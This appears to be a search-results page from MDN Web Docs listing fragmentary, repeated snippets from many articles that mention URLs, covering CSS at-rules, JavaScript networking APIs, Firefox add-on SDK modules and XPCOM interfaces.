...treams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream
urls getting
urls getting the
url and displaying the page posting
urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version ...
...mented by the plug-in and called by the browser. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_
urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser. the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in s...
...And 7 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
e risk of user-discernible delays in operations. ensuring ordering on conditional use of promises one situation in which microtasks can be used to ensure that the ordering of execution is always consistent is when promises are used in one clause of an if...else statement (or other conditional statement), but not in the other clause. ...
... delays in operations. ensuring ordering on conditional use of promises one situation in which microtasks can be used to ensure that the ordering of execution is always consistent is when promises are used in one clause of an if...else statement (or other conditional statement), but not in the other clause. ...
...dering on conditional use of promises one situation in which microtasks can be used to ensure that the ordering of execution is always consistent is when promises are used in one clause of an if...else statement (or other conditional statement), but not in the other clause. ...
...And 7 more matches
@document - CSS: Cascading Style Sheets
the @document css at-rule restricts the style rules contained within it based on the
url of the document. it is designed primarily for user-defined style sheets, though it can be used on author-defined style sheets, too. @document
url("https://www.example.com/") { h1 { color: green; } } syntax an @document rule can specify one or more matching functions. if any of the functions apply to a given
url, the rule will take effect on that
url. the functions available are:
url(), which matches an exact
url.
url-prefix(), which matches if the document
url starts with the value provided. domain(), which matches if the document
url is on the domain provided (or a subdomain of it). media-document(), with the parameter of video, image, plugin or all. regexp(), which matches ...
...the values provided to the regexp() function must be enclosed in quotes. ...
...the values provided to the regexp() function must be enclosed in quotes. escaped values provided to the regexp() function must additionally be escaped from the css. for example, a . ...
...And 7 more matches
Box-shadow generator - CSS: Cascading Style Sheets
-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image:
url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-c...
...und-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image:
url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } /* * box shadow generator tool */ body { max-width: 1000px; height: 800px; margin: 20px auto 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-...
... border: 1px solid #ccc; border-radius: 3px; display: block; background-position: center center; background-repeat: no-repeat; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; float: left; } #layer_manager .button:hover { background-color: #3380c4; border: 1px solid #3380c4; cursor: pointer; } #layer_manager [data-type='add'] { background-image:
url("https://mdn.mozillademos.org/files/5685/add-black.png"); } #layer_manager [data-type='add']:hover { background-image:
url("https://mdn.mozillademos.org/files/5687/add-white.png"); } #layer_manager [data-type='move-up'] { background-image:
url("https://mdn.mozillademos.org/files/5697/up-black.png"); margin-left: 5%; margin-right: 5%; } #layer_manager [data-type='move-up']:hover { backgrou...
...And 7 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
t: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background:
url("images/picker_mask.png"); background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), ...
...dius: 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px; content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background:
url("images/hue_mask.png"); background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -webkit-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00...
...0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -o-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); } .ui-color-picker .alpha { border: 1px solid #ccc; background:
url("images/alpha_mask.png"); } .ui-color-picker .slider-picker { width: 2px; height: 100%; margin: 0 0 0 -2px; border: 1px solid #777; background-color: #fff; position: relative; top: -1px; } /* input hsv and rgb */ .ui-color-picker .info { width: 200px; margin: 5px; float: left; } .ui-color-picker .info * { float: left; } .ui-color-picker .input { width: 64px; margin: 5px 2px; fl...
...And 7 more matches
<input type="image"> - HTML: Hypertext Markup Language
age"> elements do not accept value attributes. the path to the image to be displayed is specified in the src attribute. ...
...if provided, it must be a non-empty string appropriate ...
...an image with an icon and/or image text "login now", you should also set the alt attribute to something like login now. important: while the alt attribute is technically optional, you should always include one to maximize the usability of your content. functionally, the <input type="image"> alt attribute works just like the alt attribute on <img> elements. ...
...And 7 more matches
Modules - Archive of obsolete content
set of privileges that determines what scripts running in that compartment can and cannot do. we will show how sandboxes and compartments can be used to improve security in our module system. the module system used by the sdk is based on the commonjs specification: it is implemented using a loader object, which handles all the bookkeeping related to module loading, such as resolving and caching
urls. we show how to create your own custom loaders, using the loader constructor provided by the sdk. the sdk uses its own internal loader, known as cuddlefish. all modules within the sdk are loaded using cuddlefish by default. like any other custom loader, cuddlefish is created using the loader constructor. in the final section, we will take a look at some of the options passed by the sdk to the lo...
...he host application. a complete explanation of how to use components is out of scope for this document. however, the following example shows how it can be used to load scripts from other locations: const { classes: cc interfaces: ci } = components; var instance = cc["@mozilla.org/moz/jssubscript-loader;1"]; var loader = instance.getservice(ci.mozijssubscriptloader); function loadscript(
url) { loader.loadsubscript(
url); } when a script is loaded, it is evaluated in the scope of the global object of the script that loaded it. any property defined on the global object will be accessible from both scripts: // index.js: loadscript("www.foo.com/a.js"); foo; // => 3 // a.js: foo = 3; exporting names the script loader we obtained from the components object allows us load scripts f...
...object of the script that loaded it. any property defined on the global object will be accessible from both scripts: // index.js: loadscript("www.foo.com/a.js"); foo; // => 3 // a.js: foo = 3; exporting names the script loader we obtained from the components object allows us load scripts from other locations, but its api is rather limited. for instance, it does not know how to handle relative
urls, which is cumbersome if you want to organize your project hierarchically. a more serious problem with the loadscript function, however, is that it evaluates all scripts in the scope of the same global object. this becomes a problem when two scripts try to define the same property: // index.js: loadscript("www.foo.com/a.js"); loadscript("www.foo.com/b.js"); foo; // => 5 // a.js: foo = 3; // b.
...And 6 more matches
request - Archive of obsolete content
t the net/xhr module, based on the browser's xmlhttprequest object. globals constructors request(options) this constructor creates a request object that can be used to make network requests. the constructor takes a single parameter options which is used to set several properties on the resulting request. parameters options : object optional options: name type
url string,
url this is the
url to which the request will be made. can either be a string or an instance of the sdk's
url. oncomplete function this function will be called when the request has received a response (or in terms of xhr, when readystate == 4). the function is passed a response object. headers object an unordered collection of name...
... function will be called when the request has received a response (or in terms of xhr, when readystate == 4). the function is passed a response object. headers object an unordered collection of name/value pairs representing headers to send with the request. content string,object the content to send to the server. if content is a string, it should be
url-encoded (use encodeuricomponent). if content is an object, it should be a collection of name/value pairs. nested objects & arrays should encode safely. for get and head requests, the query string (content) will be appended to the
url. for post and put requests, it will be sent as the body of the request. contenttype string the type of content to send to the server. th...
... overridemimetype string use this string to override the mime type returned by the server in the response's content-type header. ...
...And 6 more matches
Index of archived content - Archive of obsolete content
l10n notifications page-mod page-worker panel passwords private-browsing querystring request selection self simple-prefs simple-storage system tabs timers ui
url widget windows low-level apis /loader chrome console/plain-text console/traceback content/content content/loader content/mod content/symbiont content/worker core/he...
... core/promise dev/panel event/core event/target frame/hidden-frame frame/utils fs/path io/byte-streams io/file io/text-streams lang/functional lang/type loader/cuddlefish loader/sandbox net/
url net/xhr places/bookmarks places/favicon places/history platform/xpcom preferences/event-target preferences/service remote/child remote/parent stylesheet/style stylesheet/utils system/child_process system/environment ...
...event targets creating reusable modules developing for firefox mobile display a popup getting started (jpm) getting started (cfx) list open tabs listen for page load listening for load and unload localization logging modifying web pages based on
url modifying the page hosted by a tab open a web page troubleshooting unit testing using xpcom without chrome using third-party modules (jpm) bootstrapped extensions code snippets alerts and notifications ...
...And 6 more matches
Theme changes in Firefox 2 - Archive of obsolete content
window to add a new feed reader. browser/feeds/feedicon.png new file; the rss feed icon. browser/feeds/feedicon16.png new file; the 16x16 pixel version of the rss feed icon. browser/feeds/subscribe.css new file; css used for the window to subscribe to a news feed. browser/go-rtl.png new file; go icon to use if it's positioned at the left end of the
url field. browser/preferences/preferences.css file that skins the preferences window. browser/safebrowsing/browser-protection.css new file; css for the window that appears to warn the user that a site may be fraudulent, as well as the
url bar icon that indicates a site may be fraudulent. browser/safebrowsing/close16x16.png new file; this is the icon displayed in t...
...browsing warning window is displayed. it should use translucency to allow the window contents to be visible through it. browser/safebrowsing/tail.png new file; this is the "tail" of the talk-bubble style window used to indicate that a site may be fraudulent. browser/safebrowsing/warning16x16.png new file; this is the 16x16 pixel version of the warning icon displayed in the
url bar when the safe browsing warning window is displayed. browser/safebrowsing/warning24x24.png new file; this is the warning icon that's displayed inside the safe browsing warning window. browser/search-bar-background-mid.png new file; the background for the middle part of the search bar. the ends of the bar are now skinned separately. browser/search-bar-background...
...extensions view. the second is for themes. the third is for locales, the fourth is for plugins, the fifth is for updates, and the sixth is for installs. mozapps/pref this entire directory is no longer used in firefox 2 and should be removed. changes in browser bookmarks/addbookmark.css the addbookmarks.css file should have the following lines added to the top: @namespace
url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); @namespace html
url("http://www.w3.org/1999/xhtml"); some microsummary-related css also needs to be added, to provide formatting for the microsummary picker. these are used to make the picker look like a regular text box instead of like an editable menu list when there are no microsummaries available. menulist#name[droppable="...
...And 6 more matches
RDF in Mozilla FAQ - Archive of obsolete content
aphs, or merging collections of statements ("microtheories") together. statements about the same rdf resource can then be intermingled: for example, the "last visit date" of a particular website comes from the "browser global history" datasource, and the "shortcut keyword" that you can type to reach that website comes from the "browser bookmarks" datasource. ...
...bookmarks" datasource. both datasources refer to "website" by
url: this is the "key" that allows the datasources to be "merged" effectively. for a more detailed account of how to write a datasource, refer to the rdf datasource how-to. how does mozilla manage datasources? the rdf service manages a table of all loaded datasources. the table is keyed by the datasource's "uri", which is either the
url of an rdf/xml file, or a "special" uri starting with rdf: that refers to a built-in datasource. datasources may be loaded via the rdf service using the getdatasource() method. if the uri argument refers to an rdf/xml file's
url, then the rdf service will create an rdf/xml datasource and asynchronously parse it. the datasource will remain "cached" until the last reference to the datasource is rel...
...e was already loaded!"); } else { alert("the datasource wasn't loaded, but it's loading now!"); } say the datasource wasn't loaded, and is loading asynchronously. using this api and javascript's settimeout(), one could set up a polling loop that would continually check the loaded property. this is kludgy, and even worse, won't detect a failed load, for example, if there wasn't any data at the
url! for this reason, there is an observer interface that allows you to spy on a datasource's progress. the following code illustrates its usage: // this is the object that will observe the rdf/xml load's progress var observer = { onbeginload: function(asink) {}, oninterrupt: function(asink) {}, onresume: function(asink) {}, onendload: function(asink) { asink.remove...
...And 6 more matches
Sending forms through JavaScript - Learn web development
roaches. a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a new document when response data is received. let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the
url where the data was sent, which means the browser window navigates with a full page load. avoiding a full page load can provide a smoother experience by avoiding network lag, and possible visual issues like flickering. many modern uis only use html forms to collect input from the user, and not for data submission. when the user tries to send the data, the application takes control and transmits t...
... which stands for "asynchronous javascript and xml". how is it different? the xmlhttprequest (xhr) dom object can build http requests, send them, and retrieve their results. historically, xmlhttprequest was designed to fetch and send xml as an exchange format, which has since been superceded by json. but neither xml nor json fit into form data request encoding. form data (application/x-www-form-
urlencoded) is made of
url-encoded lists of key/value pairs. for transmitting binary data, the http request is reshaped into multipart/form-data. note: the fetch api is often used in place of xhr these days — it is a modern, updated version of xhr, which works in a similar fashion but has some advantages. most of the xhr code you'll see in this article could be swapped out for fetch. if you con...
...uire are done below. sending form data there are 3 ways to send form data: building an xmlhttprequest manually. using a standalone formdata object. using formdata bound to a <form> element. let's look at them in detail. building an xmlhttprequest manually xmlhttprequest is the safest and most reliable way to make http requests. ...
...And 6 more matches
Introducing asynchronous JavaScript - Learn web development
...
...ining function’s body. the containing function is responsible for executing the callback function when the time comes. you can write your own function containing a callback easily enough. ...
...ontaining a callback easily enough. let's look at another example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(
url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get',
url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let object
url =
url.createobject
url(blob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); here we create a displayimage() function that simply represents a blob passed to it as an object
url, then creates an image to display the
url in, appending it to the document's <body>. however, we then create a ...
...And 6 more matches
Creating Sandboxed HTTP Connections
introduction starting with gecko 1.8.1 (firefox 2), it is possible to create sandboxed http connections which don't affect the user's cookies. this article will cover the basics of doing http connections from xpcom javascript, and should easily translate to c++ xpcom. setting up an http connection the first step in setting up an http connection from an
url (stored in a string) is to create an nsiuri out of it. nsiuri is an xpcom representation of an uri, with useful methods to query and manipulate the uri. to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioserv...
... of it. nsiuri is an xpcom representation of an uri, with useful methods to query and manipulate the uri. to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(my
urlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called. it takes two arguments: a listener and a context that is passed to the listener's methods. channel.asyncopen(liste...
...ements all the required methods and calls the specified callback function when the connection has completed. ...
...And 6 more matches
Using the Browser API
n use async promise style syntax if you so wish. ...
...romise style syntax if you so wish. ...
...ck().then(function(result) { if (result) { back.disabled = false; console.log("it's possible to navigate the history backward."); } else { back.disabled = true; console.log("it's not possible to navigate the history backward."); } }); } implementing the
url bar the
url bar for our simple browser is a <form> containing a single text <input>. ...
...And 6 more matches
Addon
ger indicates what scope the add-on is installed in, per profile, user, system, or application. type read only string the type of the add-on. userdisabled boolean true if the user wants this add-on to be disabled. version read only string the version of the add-on. optional properties attribute type description about
url read only string the
url of the about dialog to display for this add-on. this is passed to window.opendialog() when presenting the about dialog. if you don't provide an about
url, a generic about dialog is displayed. the dialog receives the addon object representing your add-on as a parameter. applybackgroundupdates integer indicates whether updates found in the background fo...
...ons manager and it's the add-on provider's responsibility to remember its selection. contributors read only addonauthor[] an array of strings holding the contributors of the add-on. description read only string the description of the add-on. developers read only addonauthor[] an array of strings holding the developers of the add-on. homepage
url read only string the homepage
url of the add-on. icon
url read only string the
url of the icon that represents this add-on. install read only addoninstall the addoninstall that will install this add-on. only available if this add-on is in the process of being installed. installdate read only date the date that the add-on was first installed. ...
... pendingupgrade read only addon if this add-on will be replaced on the next restart, this property will hold the new addon object. releasenotesuri read only nsiuri a uri for release notes for this version. ...
...And 6 more matches
Places Developer Guide
var bookmarkuri = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice) .newuri("http://www.mozilla.com", null, null); var bookmarkid = bookmarks.insertbookmark( bookmarks.toolbarfolder, // the id of the folder the bookmark will be placed in. bookmarkuri, // the uri of the bookmark - an nsiuri object. bookmark...
...var resultcontainernode = result.root; // open the folder, and iterate over its contents. resultcontainernode.con...
..."); var visitdate = date.now() * 1000; // in microseconds var referreruri = null; // or a uri var isredirect = false; var visittype = history.transition_link; // the visit is from a link that was clicked var sessionid = 0; // can link the visit with a specific browsing session history.addvisit(oururi, visitdate, referreruri, visittype, isredirect, sessionid); // add a visit to a
url, with a page title and visited time // via nsibrowserhistory. var browserhistory = histsvc.queryinterface(ci.nsibrowserhistory); var oururi = uri("http://www.mozilla.com"); var pagetitle = "mozilla"; var visitdate = date.now() * 1000; // in microseconds browserhistory.addpagewithdetails(oururi, "mozilla", visitdate); // add a visit to a
url, with extended behavior information // via nsiglobalhis...
...And 6 more matches
Building the WebLock UI
.getservice() .queryinterface(components.interfaces.iweblock); in addition to this basic setup, you must also write javascript that uses the addsite method to add new sites to the white list. this is a bit more complicated, because it requires that you work with the currently loaded page or provide other ui (e.g., a textfield where you can enter an arbitrary
url) for specifying
urls. in the xul section we'll go into how the user interface is defined. this section describes the functions that are called from the interface and how they interact with the weblock component. the
url that the addsite method expects is a string, so we can pass a string directly in from the user interface, or we can do a check on the string and verify that it's a valid
url. in ...
...lled from the interface and how they interact with the weblock component. the
url that the addsite method expects is a string, so we can pass a string directly in from the user interface, or we can do a check on the string and verify that it's a valid
url. in this tutorial, focusing as it is on the weblock functionality (rather than the ui), we'll assume the strings we get from the ui itself are
urls we actually want to write to the white list: function addthissite() { var tf = document.getelementbyid("dialog.input"); // weblock is global and declared above weblock.addsite(tf.value); } this javascript function can be called directly from the xul widget, where the input string is retrieved as the value property of the textbox element. you also need to create the function that displa...
...ove weblock.addsite(tf.value); } this javascript function can be called directly from the xul widget, where the input string is retrieved as the value property of the textbox element. you also need to create the function that displays the weblock window itself when the user clicks the weblock icon in the statusbar. that function uses the opendialog method from the window object and takes the
url to the xul file in which the dialog is defined: function loadweblock() { window.opendialog("chrome://weblock/weblock.xul"); } xul the entire user interface of the mozilla browser and all of the applications that go with it, including the mail client, the irc client, and others, have been defined in an xml language called xul. elements in the xul markup map to widgets in the interface that g...
...And 6 more matches
nsIBrowserSearchService
our code is executed in reaction to a user interaction, as initialization is complete by then, but this is an issue if your code is executed during startup. if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init(). ...
...user interaction, as initialization is complete by then, but this is an issue if your code is executed during startup. if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init(). ...
...at is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init(). ...
...And 6 more matches
nsIExternalProtocolService
the external protocol service is used for finding and launching web handlers (a la registerprotocolhandler in the html5 draft) or platform-specific applications for handling particular protocols. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) you can ask the external protocol service if it has an external handler for a given protocol scheme. and you can ask it to load the
url using the default handler. method overview boolean externalprotocolhandlerexists(in string aprotocolscheme); astring getapplicationdescription(in autf8string ascheme); nsihandlerinfo getprotocolhandlerinfo(in acstring aprotocolscheme); nsihandlerinfo getprotocolhandlerinfofromos(in acstring aprotocolscheme, out boolean afound); boolean isexposedprotocol(in string aprotocolscheme); ...
...specifically, this looks to see whether there are any known possible application handlers in either the nsihandlerservice datastore or registered with the os. boolean externalprotocolhan...
...specifically, this looks to see whether there are any known possible application handlers in either the nsihandlerservice datastore or registered with the os. boolean externalprotocolhandlerexists( i...
...And 6 more matches
nsIFileProtocolHandler
netwerk/protocol/file/nsifileprotocolhandler.idlscriptable this interface provides methods to convert between nsifile and nsiuri. it also provides access to internet shortcuts stored on the host operating system's file system. inherits from: nsiprotocolhandler last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsifile getfilefrom
urlspec(in autf8string
url); autf8string get
urlspecfromactualfile(in nsifile file); autf8string get
urlspecfromdir(in nsifile file); autf8string get
urlspecfromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri read
urlfile(in nsifile file); methods getfilefrom
urlspec() converts the
url string into the corresponding nsifile if possible. a local...
...8string get
urlspecfromactualfile(in nsifile file); autf8string get
urlspecfromdir(in nsifile file); autf8string get
urlspecfromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri read
urlfile(in nsifile file); methods getfilefrom
urlspec() converts the
url string into the corresponding nsifile if possible. a local file will be created if the
url string begins with file://. nsifile getfilefrom
urlspec( in autf8string
url ); parameters
url the
url string to convert. return value a reference to a new nsifile object. get
urlspecfromactualfile() converts the nsifile to the corresponding
url string. should only be called on files which are not directories. otherwise identical to get
urlspecfromfile(), but is usually more efficient. ...
...rl ); parameters
url the
url string to convert. return value a reference to a new nsifile object. get
urlspecfromactualfile() converts the nsifile to the corresponding
url string. should only be called on files which are not directories. otherwise identical to get
urlspecfromfile(), but is usually more efficient. warning: this restriction may not be enforced at runtime! autf8string get
urlspecfromactualfile( in nsifile file ); parameters file the nsifile to convert. return value corresponding
url string. the resulting string may contain
url-escaped characters. get
urlspecfromdir() converts the nsifile to the corresponding
url string. should only be called on files which are directories. otherwise identical to get
urlspecfromfile(), but is usually more efficient. warning:...
...And 6 more matches
nsILoginManager
"@mozilla.org/login-manager;1"] .getservice(components.interfaces.nsiloginmanager); method overview void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesearch(in astring asearchstring, in nsiautocompleteresult apreviousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aaction
url, in astring ahttprealm); boolean fillform(in nsidomhtmlformelement aform); void findlogins(out unsigned long count, in astring ahostname, in astring aaction
url, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); voi...
...cription aelement missing description return value missing description countlogins() returns the number of logins matching the specified criteria. called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a master password, as the logins don't need to be decrypted). unsigned long countlogins( in astring ahostname, in astring aaction
url, in astring ahttprealm ); parameters ahostname the hostname to which to restrict searches, formatted as a
url. for example, "http://www.bar.com". to match all hostnames, specify "" (empty string). a value of null will cause countlogins() to not match any logins. aaction
url for form logins, this parameter should specify the
url to which the form will be submitted. to match any form login...
...m ); parameters aform the htmlform to attempt to fill out. return value true if the form was successfully filled out; otherwise false. findlogins() searches for logins matching the specified criteria. called when looking for logins that might be applicable to a given form or authentication request. ...
...And 6 more matches
nsIMsgCloudFileProvider
nsimsgcloudfileprovider is the interface that must be implemented by new filelink providers. ...
...as such, the type should be an alphanumpheric string with no spaces. displayname acstring readonly: used for displaying the service name in the user interface...
...ed long aerror); attributes attribute type description type acstring readonly: the type is a unique string identifier which can be used by interface elements for styling. as such, the type should be an alphanumpheric string with no spaces. displayname acstring readonly: used for displaying the service name in the user interface. ...
...And 6 more matches
WindowEventHandlers.onhashchange - Web APIs
window.addeventlistener('hashchange', hashhandler, false); overriding the hash this function sets a new hash dynamically, setting it randomly to one of two values. ...
...hchange', hashhandler, false); overriding the hash this function sets a new hash dynamically, setting it randomly to one of two values. ...
...h this function sets a new hash dynamically, setting it randomly to one of two values. function changehash() { location.hash = (math.random() > 0.5) ? ...
...And 6 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
connect-src directive of content security policy rather than the directive of the resources it's retrieving. note: the fetch() method's parameters are identical to those of the request() constructor. syntax const fetchresponsepromise = fetch(resource [, init]) parameters resource this defines the resource that you wish to fetch. this can either be: a usvstring containing the direct
url of the resource you want to fetch. some browsers accept the blob: and data: schemes. a request object. init optional an object containing any custom settings that you want to apply to the request. the possible options are: method the request method, e.g., get, post. note that the origin header is not set on fetch requests with a method of head or get. (this behavior was correct...
...r is not set on fetch requests with a method of head or get. (this behavior was corrected in firefox 65 — see bug 1508661). headers any headers you want to add to your request, contained within a headers object or an object literal with bytestring values. note that some names are forbidden. body any body that you want to add to your request: this can be a blob, buffersource, formdata,
urlsearchparams, usvstring, or readablestream object. note that a request using the get or head method cannot have a body. mode the mode you want to use for the request, e.g., cors, no-cors, or same-origin. credentials the request credentials you want to use for the request: omit, same-origin, or include. to automatically send cookies for the current domain, this option must be provided. star...
...tance. cache the cache mode you want to use for the request. redirect the redirect mode to use: follow (automatically follow redirects), error (abort with an error if a redirect occurs), or manual (handle redirects manually). in chrome the default is follow (before chrome 47 it defaulted to manual). referrer a usvstring specifying the referrer of the request. this can be a same-origin
url, about:client, or an empty string. referrerpolicy specifies the referrer policy to use for the request. may be one of no-referrer, no-referrer-when-downgrade, same-origin, origin, strict-origin, origin-when-cross-origin, strict-origin-when-cross-origin, or unsafe-
url. integrity contains the subresource integrity value of the request (e.g., sha256-bpfbw7ivv8q2jlit13fxdyae2tjllusrsz273h2nfs...
...And 6 more matches
@font-face - CSS: Cascading Style Sheets
the @font-face css at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. syntax @font-face { font-family: "open sans"; src:
url("/fonts/opensans-regular-webfont.woff2") format("woff2"),
url("/fonts/opensans-regular-webfont.woff") format("woff"); } descriptors font-display determines how a font face is displayed based on whether and when it is downloaded and ready to use. font-family specifies a name that will be used as the font face value for font properties. font-stretch a font-stretch value. since firefox 61 (and in other modern browsers) this also accepts two values to specify a range that is supported by a font-face, for example font-stretch: 50% 200%; ...
...00; font-variant a font-variant value. font-feature-settings allows control over advanced typographic features in opentype fonts. font-variation-settings allows low-level control over opentype or truetype font variations, by specifying the four letter axis names of the features to vary, along with their variation values. src specifies the resource containing the font data. ...
... unicode-range the range of unicode code points to be used from the font. ...
...And 6 more matches
itemprop - HTML: Hypertext Markup Language
the itemprop global attribute is used to add properties to an item. every html element can have an itemprop attribute specified, and an itemprop consists of a name-value pair. each name-value pair is called a property, and a group of one or more properties forms an item. property values are either a string or a
url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>. examples the example below shows the source for a set of elements marked up with itemprop attributes, followed by a table showing the resulting structured data. html <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (bor...
...html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itemprop name avatar itemprop director james cameron itemprop genre science fiction itemprop trailer ../movies/avatar-theatrical-trailer.html properties properties have values that are either a string or a
url. when a string value is a
url, it is expressed using the <a> element and its href attribute, the <img> element and its src attribute, or other elements that link to or embed external resources. three properties with values that are strings <div itemscope> <p>my name is <span itemprop="name">neil</span>.</p> <p>my band is called <span itemprop="band">four parts water</span>.</p> <p>i am...
...g> element and its src attribute, or other elements that link to or embed external resources. ...
...And 6 more matches
Communicating With Other Scripts - Archive of obsolete content
ed "listen.html" hosted at "my-domain.org", and we want to send messages from the add-on to a script embedded in that page. in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.
url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // content-script (talk.js) window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain. finally, "listen.html" uses window.addeventlistener() to listen for messages from the content script: <!do...
...ody> </html> messaging from page script to content script sending messages from the page script to the content script is just the same, but in reverse. ...
...ore firefox 30 here's an example showing how to use custom dom events to send a message from a content script to a page script, before firefox 30. ...
...And 5 more matches
content/loader - Archive of obsolete content
one of the building blocks for those modules that use content scripts to interact with web content, such as panel and page-mod. usage the module exports a constructor for the loader object, which inherits on(), once(), and removelistener() functions that enable its users to listen to events. loader adds code to initialize and validate a set of properties for managing content scripts: content
url contentscript contentscriptfile contentscriptwhen contentscriptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action. the loader is used by modules that use content scripts but don't themselves load content, such as page-mod. modules that load their own content, such as panel and page-worker, use...
